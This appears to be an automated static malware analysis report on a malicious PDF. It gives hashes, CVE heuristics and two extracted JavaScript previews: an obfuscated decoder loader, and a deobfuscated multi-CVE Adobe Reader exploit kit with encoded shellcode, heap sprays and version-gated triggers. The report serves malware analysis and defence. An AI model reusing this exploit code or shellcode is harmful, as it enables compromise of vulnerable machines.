Malicious PDF — malware analysis report

Static analysis result for SHA-256 7a953882da4c8fee…

MALICIOUS

PDF

44.5 KB
MD5: 5f766a59d8afe77dc36d737935e77ac0 SHA-1: d61f26dd3f3eb2a7921f5728365c3211866005ee SHA-256: 7a953882da4c8fee810add0b0f4433bf6a232dea12c720ab1976e6c0aaf4322d
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains embedded JavaScript that leverages multiple known Adobe Reader vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) to achieve code execution. The deobfuscated JavaScript appears to be a heap spray and exploit kit designed to further exploit the reader. The primary attack vector is exploitation of client software.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
407133f27039b6a8f871b1cf73e14c297ec1f4bb9a9304cbd3237c330fbe800b		 pdf-javascript-stream PDF /JS object 1 at offset 0xAF18 559 bytes
Preview script
First 1,000 lines of the extracted script
omkjz='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('nhsthn','ntrht')[v+'r'];
g = qwe();
t='le';
a=["e","a","n","b","w",'v','r'];
e=g[a[0]+a[5]+a[1]+('q',t[v+'r'](0,1))];
e('ffg=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
s=ffg[v+a[6]](10,4) + 'tr';
ojkj=e('String.fro'+ffg[s](1,9));
q=ffg[ffg[v+'r'](10,4) + 'tr'](14);
vdtrl = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=vdtrl.length');
for (i = 0; i < k; i+=2) {
	bgxoc = vdtrl[i+1] + ('erybjkerl',vdtrl[i]);
	omkjz += ojkj(bgxoc);
}
e(omkjz);
legacy_pdfkit_stage_000.js
60bf7bcebdab061d2f289dd8a44183dd10555425d1140cb61ded895f031bd0e9		 deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3636 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u7334%ue2aa%uc3fa%ue5e8%uffff%u9aff%u727f%u7373%uf22d%u2f9f%u7372%ufa73%ufe94%u633c%u1cfe%u4227%u24a8%u2022%u2020%u2020%u2020%u2026%u1b20%u7277%u7373%u2526%u1b20%u1d1c%u7373%u061b%u1f01%u271e%ufd1b%u7d3d%u9b9f%u733b%u7373%u9b23%u730f%u7373%ua38c%ub7f0%u1b7b%u9c3c%u763c%u9b23%u731f%u7373%ua38c%ub3f6%u6406%u2719%u802a%u1bd9%u8d01%u65c0%u6e9b%u7373%u2373%u229b%u7373%u8c73%u20a3%u8d19%ufa1b%u721c%u9bce%u737b%u7373%u9b23%u734f%u7373%ua38c%u4213%u17b3%u23f8%uf843%u7f21%u21f8%uf867%u5b01%u6bca%u7373%u4273%u428c%udfb3%u124f%u710f%u535f%ubcb2%u727e%u91b4%uf283%u288c%u39cf%uf819%u6331%u61f8%uaa06%u37fa%u6f57%ub012%uf813%u571f%uf857%u4f36%u27f8%u0b76%u9972%u39f8%uf86b%u5329%u9872%u4790%uf83a%uf847%u9d72%u8c42%ub342%udf8f%ub3f7%u7407%ubcb2%u727e%u98b4%u4887%u570f%u065b%uf892%u5729%u9872%uf815%u387f%u29f8%u726f%uf898%uf877%u9b72%u37fa%u6f57%ub112%u737b%u9c9b%u8c8d%u1b8c%u0707%u4903%u5c5c%u1605%u0a05%u105d%u5d1c%u1010%u1c5c%u035d%u031b%u154c%u414e%u5542%u4e16%u7346';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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